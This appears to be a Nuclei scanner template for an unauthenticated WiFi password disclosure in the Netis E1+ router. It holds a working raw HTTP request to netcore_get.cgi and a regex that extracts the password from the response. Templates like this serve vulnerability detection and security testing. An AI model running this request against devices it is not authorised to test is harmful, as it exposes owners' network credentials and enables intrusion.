id: netis-info-leak

info:
  name: Netis E1+ V1.2.32533 - WiFi Password Disclosure
  author: gy741
  severity: high
  description: A vulnerability in Netis allows remote unauthenticated users to disclose the WiFi password of the remote device.
  reference:
    - https://www.exploit-db.com/exploits/48384
    - https://www.netis-systems.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-200
  metadata:
    max-request: 1
  tags: netis,exposure,edb,vuln

http:
  - raw:
      - |
        GET //netcore_get.cgi HTTP/1.1
        Host: {{Hostname}}
        Cookie: homeFirstShow=yes

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "rp_ap_password"
          - "rp_ap_ssid"
        part: body
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - "'rp_soon_password':'([A-Za-z0-9]+)'"
# digest: 4a0a0047304502206670d5f324a3eecb7f1e61efcedae4c0a1d7ebc502d051d9587b4823d8435c74022100f1d87f24f53ebbf7d1aa77f0192e2c8b8becb8a204b1fd8a25e192e0cb576d57:922c64590222798bb761d5b6d8e72950